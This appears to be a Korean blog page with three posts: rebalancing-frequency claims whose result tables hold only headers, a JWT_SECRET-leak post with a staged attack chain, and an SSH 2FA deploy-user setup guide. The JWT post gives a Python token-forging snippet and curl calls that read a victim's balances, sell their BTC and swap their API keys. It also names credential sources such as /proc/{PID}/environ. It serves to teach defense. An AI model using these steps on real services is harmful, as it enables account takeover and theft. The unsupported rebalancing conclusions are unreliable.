리밸런싱 빈도와 수익률의 관계

공통 가설: 리밸런싱 간격이 촘촘할수록 수익률은 감소하며, 연속(continuous) 리밸런싱의 극한에서는 수익률이 0%로 수렴한다.


1. 일반적인 포트폴리오 리밸런싱 

전략 정의: 변동성이 큰 자산과 현금을 50:50으로 유지하고, 가격 변동이 발생할 때마다 원래 비율로 리밸런싱하여 시장 평균을 초과하는 수익을 추구.
시나리오: 주가 −20% 하락 후 원금 수준으로 복귀 (V자 경로), 초기 자산 1,000,000원

리밸런싱 주기총 리밸런싱 횟수-20% 하락 시 자산자산 복귀 시 최종 자산최종 수익률

2. 30년물 금리 연동 채권 동적 비중 전략

전략 정의

  • 30년물 국채 금리가 2%일 때는 보유 비중 0%, 6%일 때는 보유 비중 20%를 목표로 금리 변동 단계마다 채권 비중을 동적으로 조절하는 전략입니다. Δr 1.00% 변동 → 비중 5.00% 조정
  • Δr 0.10% 변동 → 비중 0.50% 조정
  • Δr 0.01% 변동 → 비중 0.05% 조정

시뮬레이션 결과 (초기 자산 10,000원)

테스트 구분금리 변동 단위 (Δr)비중 변화량 (ΔW)총 거래 횟수최종 포트폴리오 가치순 매매차익 (누적)누적 수익률

3. MDD 기반 1배 ETF ↔ 2배 레버리지 스왑 전략

전략 정의:
1배 ETF의 MDD(최대 낙폭) 하락 및 복귀 구간에서, 설정한 마디 단위에 맞춰 1배 ETF와 2배 레버리지 ETF의 비중을 단계적으로 교체(Swap)하는 전략입니다.
(기준: 1배 ETF가 100원 → 60원(-40% MDD) → 100원(+66.7% 원금 회복)으로 이동하는 1주기 기준
 
시뮬레이션 결과 (1배 ETF 100원 → 최저점 60원 → 원금 회복)

1배 ETF 변동 조건리밸런싱 마디 (하락 / 상승 기준)최저점(60원) 시 내 자산포트폴리오 최대 낙폭 (MDD)1배 ETF 원금 회복 시 최종 자산최종 수익률

부수 효과: 촘촘히 교체할수록 하락 구간에서 레버리지 노출이 빨리 쌓여 포트폴리오 MDD 자체도 악화(−40% → −46%).


결론

세 전략 모두 동일한 패턴:

  1. 리밸런싱 간격이 촘촘할수록 → 수익률 감소
  2. 연속적 리밸런싱의 극한 → 수익률 0%
  3. 거래 횟수는 늘고 수익은 줄어드는 이중 손실 구조

 

JWT_SECRET이 유출되면 서비스는 끝난다

"서명 키 하나 유출된 것뿐인데 뭐가 그렇게 심각한가요?"
만약 이렇게 생각하신다면 이 글을 꼭 읽어보세요.
JWT_SECRET은 단순한 설정값이 아니라, 당신 서비스의 마스터 키입니다.
유출 시 공격자가 어떤 일까지 할 수 있는지, 실제 공격 시나리오로 보여드립니다.


🚨 문제점 — JWT_SECRET의 진짜 역할

Spring Boot에서 JWT 기반 인증을 구현할 때 흔히 이런 코드를 작성합니다:

@Component
public class JWTUtil {

    private SecretKey secretKey;

    public JWTUtil(@Value("${jwt.secret}") String secret) {
        this.secretKey = new SecretKeySpec(
            secret.getBytes(StandardCharsets.UTF_8), 
            Jwts.SIG.HS256.key().build().getAlgorithm()
        );
    }

    public String createJwt(String username, String role) {
        return Jwts.builder()
                .claim("username", username)
                .claim("role", role)
                .issuedAt(new Date())
                .expiration(new Date(System.currentTimeMillis() + 86400000L))
                .signWith(secretKey)   // ← 이 키로 서명
                .compact();
    }

    public String getUsername(String token) {
        return Jwts.parser().verifyWith(secretKey).build()
                .parseSignedClaims(token).getPayload()
                .get("username", String.class);
    }
}

여기서 jwt.secret이 JWT_SECRET입니다. 대부분 환경변수나 application.yml에 저장하죠.

JWT_SECRET은 "신분증 발급 도장"입니다

JWT는 "서명된 신분증"입니다. 서버는 사용자가 제출한 토큰의 서명을 JWT_SECRET으로 검증해서 "내가 발급한 진짜 토큰"인지 판단합니다.

즉 이 키의 역할은:

  • 🖊️ 토큰 발급 시 서명: "이 토큰은 내가 만든 것이다"라고 도장 찍기
  • 🔍 토큰 검증 시 대조: 제출된 토큰의 도장이 내 도장과 같은지 확인
  • HS256(대칭키) 방식이면 서명 키 = 검증 키*입니다. 이 키 하나만 유출되면 공격자도 진짜와 구별 불가능한 토큰을 무제한으로 발급할 수 있습니다.

유출 경로는 생각보다 다양합니다

제가 직접 겪거나 뉴스에서 본 JWT_SECRET 유출 경로들:

  • 📝 Git 실수 커밋 — application.yml에 하드코딩한 채 푸시. git 히스토리는 영원히 남습니다.
  • 🔍 환경변수 덤프 — .pem 키 탈취 공격자가 /proc/{PID}/environ 읽기
  • 📋 로그 파일 — log.info("JWT 설정: {}", jwtSecret) 같은 실수
  • 🏃 CI/CD 로그 노출 — GitHub Actions 로그에서 mask 처리 누락
  • 🌐 Actuator 엔드포인트 노출 — /actuator/env가 열려 있으면 환경변수 전체가 외부에 노출
  • 한 번 유출되면 "JWT_SECRET을 바꾸지 않는 한 영원히 유효"*하다는 점이 가장 무섭습니다. 그리고 대부분의 팀은 유출 사실 자체를 인지하지 못합니다.

💀 실제 해킹 시나리오 — JWT_SECRET이 유출됐을 때

제가 운영 중인 서비스를 예로 들어 공격자 관점에서 전체 공격 사슬을 재구성해보겠습니다. 제 서비스는 간단히 말하면 외부 API 키를 사용자별로 저장하고, 그 키로 자동화 작업을 수행하는 백엔드입니다.

공격 사슬 전체 그림

[Stage 0] JWT_SECRET 획득
    ↓
[Stage 1] 유효한 username 수집
    ↓
[Stage 2] 임의 사용자의 JWT 위조
    ↓
[Stage 3] 관리자 권한 탈취
    ↓
[Stage 4] 타겟 사용자의 민감 데이터 접근
    ↓
[Stage 5] 자금/자산 유출
    ↓
[Stage 6] 흔적 지우기

Stage 0 — JWT_SECRET 획득

공격자 김해커 씨가 어떤 경로로든 JWT_SECRET을 손에 넣었다고 가정합시다. GitHub에서 우연히 발견했을 수도 있고, 내부자에게서 구매했을 수도 있습니다. 이 시점에서 공격자는 서비스의 모든 사용자로 행세할 수 있는 능력을 갖춘 셈입니다.

Stage 1 — 정찰: 유효한 username 수집

공격자는 JWT를 위조할 수 있지만 "누구 행세를 할지" 정해야 합니다. 타겟의 username을 알아내는 경로는 여러 가지가 있습니다:

경로 A — 회원가입 응답 분석

# 중복 체크 허용 여부 확인
curl -X POST https://target.com/api/user \
     -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"test","authCode":"test"}'
# → "이미 사용중인 아이디" 응답이 나오면 admin 계정 존재 확인

경로 B — 로그인 응답 시간 차이

UserNotFoundException과 비밀번호 불일치의 응답 시간이 미묘하게 다르면, 타이밍 공격으로 username 존재 여부 판별 가능.

경로 C — OSINT

타겟 기업의 개발자 GitHub/LinkedIn/블로그에서 자주 쓰는 username 유추. 보통 admin, {회사명}_admin, 창업자 실명, 개발자 실명 등이 나옵니다.

Stage 2 — JWT 위조

secret과 username이 있으면 위조는 Python 몇 줄이면 됩니다:

import jwt
import time

SECRET = "유출된_JWT_SECRET_값"

# 관리자 권한 토큰 위조
payload = {
    "username": "admin",
    "role": "ADMIN",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}

forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
print(forged_token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2Vy...

서버는 이 토큰을 진짜와 구별할 방법이 없습니다. 서명 검증이 통과되니까요.

# 위조 토큰으로 즉시 접근
curl -b "Authorization=eyJhbGc..." https://target.com/user
# → admin의 사용자 페이지가 정상적으로 반환됨

Stage 3 — 권한 확장

많은 서비스에서 JWT의 role claim을 그대로 권한 판단에 쓰기 때문에, 공격자는 JWT에 role: "ADMIN"을 넣어 즉시 관리자 행세가 가능합니다.

잘 만들어진 서비스는 JWT의 role을 신뢰하지 않고 DB에서 다시 읽어오는데, 그마저도 공격자가 username을 "admin"으로 위조하면 DB에서 실제 관리자 정보를 로드해버리므로 무력화됩니다.

Stage 4 — 타겟 사용자의 민감 데이터 접근

이제 공격자는 누구든 원하는 사용자로 로그인 가능합니다. 특정 타겟의 JWT를 만들어:

# 자산이 많은 타겟 사용자로 위장
victim_token = jwt.encode({
    "username": "victim_user",
    "role": "USER",
    "exp": int(time.time()) + 3600
}, SECRET, algorithm="HS256")
# 피해자의 계좌 잔고 조회
curl -b "Authorization=$victim_token" \
     https://target.com/api/exchange/accounts
# → 피해자의 전체 자산 현황이 반환됨

피해자의 API 키는 DB에 AES-256-GCM으로 암호화되어 있습니다. 훌륭한 방어책이지만, 공격자는 키 원문을 알 필요가 없습니다. 피해자로 로그인된 상태이므로 서버가 알아서 복호화해서 API를 호출해주니까요:

# 피해자 명의로 주문 실행
curl -X POST -b "Authorization=$victim_token" \
     -d 'market=KRW-BTC&side=ask&order_type=market&volume=0.5' \
     https://target.com/api/exchange/orders
# → 피해자의 BTC가 시장가로 매도됨

Stage 5 — API 키 교체 (더 교활한 변형)

공격자가 즉시 대규모 거래를 일으키면 피해자가 눈치챕니다. 더 스마트한 공격은:

# 피해자 계정의 API 키를 공격자 것으로 교체
curl -X POST -b "Authorization=$victim_token" \
     -H "Content-Type: application/json" \
     -d '{"exchangeType":"BITHUMB","apiKey":"공격자_KEY","apiSecretKey":"공격자_SECRET"}' \
     https://target.com/api/exchange/key

이제 피해자의 서비스가 공격자의 외부 계정에 대고 작업을 합니다. 피해자는 자기 봇이 정상 돌고 있다고 믿지만, 실제 수익은 공격자 쪽으로 쌓입니다. 며칠, 몇 주 조용히 털어갈 수 있습니다.

Stage 6 — 흔적 지우기 (JWT의 치명적 약점)

일반적인 세션 방식이면 DB에 "누가 언제 로그인했다"는 기록이 남습니다. 그래서 침해 후 포렌식이 가능하죠.

JWT는 stateless — 서버가 로그인 기록을 따로 남기지 않습니다. 공격자가 언제 어떤 토큰을 썼는지 추적할 방법이 없습니다. 로그에는 "정상적인 API 호출"로만 찍힐 뿐입니다.

왜 이게 결정적인가?

다른 웹 취약점들(CSRF, XSS, SQL Injection 등)은 피해자의 행동이나 특정 입력이 있어야 성립합니다. 하지만 JWT_SECRET 유출은:

  • 피해자와 상호작용이 전혀 필요 없음 — 공격자 혼자서 완결 가능
  • 대상을 고를 수 있음 — 자산이 많은 사용자만 선별 공격
  • 동시에 모든 계정 탈취 가능 — 한 명이 아니라 전체 사용자가 타겟
  • 탐지가 사실상 불가능 — 정상 요청과 구별 안 됨
    한 마디로 "서비스의 루트 권한을 훔쳐간 것"과 같은 수준의 사고입니다.

마치며

JWT_SECRET은 단순한 설정값이 아닙니다. 서비스 전체의 신뢰를 지탱하는 루트 키입니다. 이 키 하나의 유출이 수만 명의 사용자 자산을 위협할 수 있습니다.

많은 개발자들이 JWT를 "편리한 stateless 인증" 정도로만 인식하지만, 그 편리함의 뒷면에는 "서명 키가 곧 모든 권한"이라는 무거운 책임이 있습니다. 로그인 기록을 남기지 않는 특성 때문에 사고 발생 시 추적도 어렵습니다.

이 글이 말하고 싶은 핵심은 두 가지입니다:

  1. JWT_SECRET은 절대 환경변수에 평문으로 두지 마세요. Parameter Store나 Secrets Manager로 옮기세요.
  2. 유출됐다고 의심되면 즉시 로테이션하세요. "아직 공격이 없으니 괜찮겠지"라는 판단이 가장 위험합니다.
    보안은 한 번 뚫리면 되돌릴 수 없습니다. 특히 돈과 자산이 걸린 서비스라면 더더욱 그렇습니다. 오늘 30분만 투자해서 시크릿 관리를 점검해보시길 강력히 권합니다.

 

🏷️ 태그: #JWT #보안 #SpringBoot #AWS #ParameterStore #백엔드 #인증 #DevSecOps #시크릿관리 #해킹방어

 

SSH Google Authenticator 2FA 적용 후 GitHub Actions 배포가 막혔을 때 — 전용 배포 사용자로 해결하기

보안을 강화했더니 CI/CD 파이프라인이 망가졌습니다.
ssh: handshake failed: unable to authenticate 에러를 마주한 개발자라면 이 글이 도움이 될 겁니다.
보안도 지키고 자동 배포도 유지하는 현실적인 해결법을 정리했습니다.


🚨 문제점 — 2FA가 자동화를 막아버렸다

지난 글에서 EC2 서버에 Google Authenticator 기반 SSH 2차 인증을 적용했습니다. .pem 키가 유출되어도 OTP 없이는 접속 불가능한, 아주 튼튼한 방어막이 생겼죠.

그런데 다음날 아침, 코드를 푸시하자 GitHub Actions에서 이런 에러가 뜨기 시작했습니다:

2026/04/16 12:24:02 error copy file to dest: ***, error message: 
ssh: handshake failed: ssh: unable to authenticate, 
attempted methods [none publickey], no supported methods remain
drone-scp error: error copy file to dest: ***, error message: 
ssh: handshake failed: ssh: unable to authenticate, 
attempted methods [none publickey], no supported methods remain

배포 파이프라인이 완전히 막혔습니다.

왜 이런 일이 발생했을까?

지난 글에서 sshd_config에 아래 설정을 넣었습니다:

AuthenticationMethods publickey,keyboard-interactive

이 설정은 "모든 SSH 접속에 .pem 키 AND OTP를 요구"합니다. 쉼표가 AND의 의미라 둘 다 통과해야 접속이 허용되죠.

사람이 직접 접속할 때는 문제 없습니다. 핸드폰 꺼내서 OTP 6자리 입력하면 되니까요. 하지만 GitHub Actions는 사람이 아닙니다. 자동화된 스크립트는:

  • 핸드폰을 가지고 있지 않고
  • OTP 앱을 열 수 없고
  • 6자리 코드를 입력할 방법이 없습니다
    에러 메시지를 해석하면 이해가 쉽습니다:
  • attempted methods [none publickey]: GitHub Actions가 공개키로만 시도함
  • no supported methods remain: 서버가 keyboard-interactive(OTP 단계)도 요구하는데 GitHub Actions가 그걸 처리할 수 없어서 포기
  • 보안을 올렸더니 자동화가 끊긴 고전적인 딜레마*입니다.

 

 

🛡️ 해결 방법 — 전용 배포 사용자 + 제한된 권한

올바른 해결책의 핵심 아이디어는:

"사람용 계정은 강한 2FA를 유지하고, 자동화용 계정은 제한된 권한으로만 동작하게 한다"

즉, ubuntu 같은 일반 사용자는 2FA 필수 유지, 새로 만든 deploy 전용 사용자만 .pem 키로 통과시키되 그 사용자가 할 수 있는 일을 배포 작업에만 제한하는 것입니다.

[ubuntu 계정]   — 개발자 SSH 접속용 — .pem + OTP 필수 (기존 유지)
[deploy 계정]   — GitHub Actions 전용 — .pem만 허용, 하지만 권한은 배포에만 한정

이렇게 하면:

  • GitHub Actions는 OTP 없이 배포 가능 ✅
  • 사람의 접속은 여전히 2FA 보호 ✅
  • deploy 키가 유출되어도 배포 작업 외의 침해는 불가능 ✅Step 1 — 배포 전용 사용자 생성
# 비밀번호 없이 deploy 사용자 생성
sudo adduser --disabled-password --gecos "" deploy
sudo mkdir -p /home/deploy/.ssh
sudo chmod 700 /home/deploy/.ssh

--disabled-password 옵션으로 비밀번호 로그인 자체를 차단합니다. 이 사용자는 SSH 키로만 접속 가능합니다.

Step 2 — GitHub Actions 전용 SSH 키 생성

기존 .pem 키와 분리된 새 키를 만드는 게 중요합니다. 한 키가 여러 용도에 쓰이면 유출 시 피해가 커지니까요.

로컬 PC에서:

ssh-keygen -t ed25519 -f deploy_key -C "github-actions-deploy" -N ""
  • -t ed25519: 최신 타원곡선 알고리즘 (RSA보다 짧고 안전)
  • -N "": passphrase 없음 (자동화용이라 필요)
    실행하면 두 파일이 생성됩니다:
  • deploy_key — 개인키 (GitHub Secrets에 저장할 것)
  • deploy_key.pub — 공개키 (서버에 등록할 것)Step 3 — 공개키를 서버에 등록
# 서버에서
sudo nano /home/deploy/.ssh/authorized_keys

deploy_key.pub 내용을 복사해서 붙여넣습니다. 저장 후 권한 설정:

sudo chmod 600 /home/deploy/.ssh/authorized_keys
sudo chown -R deploy:deploy /home/deploy/.ssh

권한이 중요합니다. SSH는 authorized_keys의 권한이 너무 열려 있으면 보안상 키를 무시해버립니다. 600과 소유자 deploy가 정확해야 합니다.

Step 4 — PAM에서 deploy 사용자만 OTP 예외 처리

sudo nano /etc/pam.d/sshd

맨 위의 설정을 다음과 같이 수정합니다:

# 기존 (전체 사용자 OTP 요구)
# auth required pam_google_authenticator.so nullok

# 변경 — deploy 사용자는 OTP 건너뛰기
auth [success=1 default=ignore] pam_succeed_if.so user = deploy
auth required pam_google_authenticator.so nullok

pam_succeed_if.so가 "현재 사용자가 deploy라면 다음 한 줄을 건너뛰어라"라는 의미입니다. 즉 deploy 사용자만 OTP 단계를 생략하게 됩니다.

Step 5 — SSH 설정에서 deploy 사용자만 인증 방식 완화

sudo nano /etc/ssh/sshd_config.d/99-2fa.conf

내용:

# 기본: 모두 publickey + OTP
UsePAM yes
KbdInteractiveAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
PasswordAuthentication no
PermitRootLogin no

# deploy 사용자만 publickey만으로 통과
Match User deploy
    AuthenticationMethods publickey
    PasswordAuthentication no

주의: Match User 블록은 파일의 가장 마지막에 있어야 합니다. 그 아래에 다른 전역 설정이 또 있으면 그것까지 deploy 전용 설정으로 잡아먹혀 버립니다.

Step 6 — deploy 사용자의 권한 최소화 ⭐ 가장 중요

여기가 이 방법의 핵심입니다. deploy 사용자가 접속은 가능하지만, 배포 작업 외에는 아무것도 못 하게 만들어야 합니다.

먼저 배포 대상 디렉터리의 소유권을 deploy에게 부여:

sudo chown -R deploy:deploy /opt/app

그리고 앱 재시작에만 필요한 명령을 sudo 없이 실행할 수 있게 합니다. 개별 명령마다 sudoers에 등록하는 건 문법 에러도 자주 나고 관리도 힘드니, 배포용 스크립트 하나로 묶는 방식이 깔끔합니다.

배포 스크립트 작성:

sudo nano /opt/app/restart-app.sh

내용:

#!/bin/bash
set -e

echo ">>> 기존 프로세스 종료"
PID=$(/usr/bin/lsof -t -i:8080 || true)
if [ -n "$PID" ]; then
    /bin/kill -15 $PID
    sleep 5
    if /bin/kill -0 $PID 2>/dev/null; then
        /bin/kill -9 $PID
    fi
    sleep 2
fi

echo ">>> 애플리케이션 재시작"
/bin/systemctl restart myapp
/bin/systemctl status myapp --no-pager

소유자를 root로 고정하는 것이 중요합니다 (deploy가 수정하면 권한 탈취 가능):

sudo chmod 755 /opt/app/restart-app.sh
sudo chown root:root /opt/app/restart-app.sh

그리고 이 스크립트 하나만 sudo 예외 처리:

sudo visudo -f /etc/sudoers.d/deploy

내용:

deploy ALL=(ALL) NOPASSWD: /opt/app/restart-app.sh

visudo는 저장 시 문법 검사를 자동으로 해줍니다. 에러가 나면 저장을 거부해서 시스템이 망가지는 걸 방지합니다.

Step 7 — 설정 검증

# SSH 설정 문법 검사
sudo sshd -t

# deploy 사용자에게 어떤 인증 방식이 요구되는지 확인
sudo sshd -T -C user=deploy | grep -i authenticationmethods
# → "authenticationmethods publickey" 가 나와야 정상

# ubuntu 사용자는 여전히 2FA 요구하는지 확인
sudo sshd -T -C user=ubuntu | grep -i authenticationmethods
# → "authenticationmethods publickey,keyboard-interactive" 가 나와야 정상

두 사용자의 인증 요구사항이 다르게 나오면 설정이 제대로 적용된 겁니다.

Step 8 — SSH 재시작 및 로컬 테스트

⚠️ 반드시 기존 SSH 세션을 열어둔 채로 재시작하세요.

sudo systemctl restart ssh

새 터미널에서 deploy 사용자로 로컬 테스트:

ssh -i deploy_key deploy@{서버주소}

OTP 입력 없이 바로 deploy 쉘로 들어가면 성공입니다. 이걸 확인해야 GitHub Actions도 작동합니다.

만약 막히면 -v 옵션으로 디버깅:

ssh -i deploy_key -v deploy@{서버주소}

Step 9 — GitHub Secrets 교체

리포지토리의 Settings → Secrets and variables → Actions 에서:

Secret 이름 값
EC2_USER deploy (기존: ubuntu)
EC2_SSH_PRIVATE_KEY deploy_key 파일 전체 내용

개인키 복사 시 주의사항:

  • -----BEGIN OPENSSH PRIVATE KEY----- 부터
  • -----END OPENSSH PRIVATE KEY----- 까지
  • 모든 줄바꿈 유지한 채 전체 복사Step 10 — 배포 스크립트 수정

deploy.sh (혹은 .github/workflows/*.yml) 에서 재시작 부분을 수정:

# JAR 파일 교체 (deploy가 /opt/app 소유자라 sudo 불필요)
cp /tmp/app.jar /opt/app/app.jar

# 애플리케이션 재시작 (sudo로 스크립트 실행)
sudo /opt/app/restart-app.sh

그리고 로컬의 deploy_key 파일은 GitHub Secrets 등록 후 즉시 삭제하세요. 어디에도 남겨두지 마세요.

 

 

⚠️ 주의사항 — 꼭 챙길 것들

1. 설정 변경 전 기존 세션 유지

SSH 설정을 잘못 저장하면 새 접속이 막힙니다. 작업 중인 터미널은 절대 닫지 말고, 새 터미널로 검증한 뒤에 닫으세요.

2. Match User 블록의 위치

sshd_config에서 Match 블록 이후의 설정은 모두 해당 조건에 속해버립니다. 반드시 파일의 맨 마지막에 배치하세요.

3. 배포 스크립트 소유자는 root

/opt/app/restart-app.sh의 소유자가 deploy면 공격자가 스크립트 내용을 조작해서 root 권한으로 임의 명령을 실행할 수 있습니다. 반드시 root:root 소유여야 합니다.

ls -la /opt/app/restart-app.sh
# -rwxr-xr-x 1 root root ... restart-app.sh  ← 이렇게 나와야 함

4. deploy 키는 한 번만 로컬에 존재

deploy_key를 GitHub Secrets에 등록한 후 로컬 파일은 즉시 삭제하세요. 나중에 다시 필요하면 새로 생성하는 게 낫습니다. 키 복사본이 여러 곳에 남을수록 유출 위험이 커집니다.

 

📝 최종 정리

적용 전후 변화

항목 적용 전 적용 후
SSH 2FA 전체 사용자 적용, CI/CD 막힘 사람은 2FA, 자동화는 제한 권한
GitHub Actions 배포 ❌ 실패 ✅ 정상
개발자 접속 보안 ✅ 2FA 보호 ✅ 2FA 보호 (변화 없음)
배포 키 유출 시 피해 (기존: 전체 서버 침해) 앱 재시작 범위로 제한
최소 권한 원칙 ❌ ✅

 

 

🏷️ 태그: #AWS #EC2 #SSH #GitHubActions #CICD #2FA #보안 #DevOps #최소권한원칙 #PAM #sudoers

+ Recent posts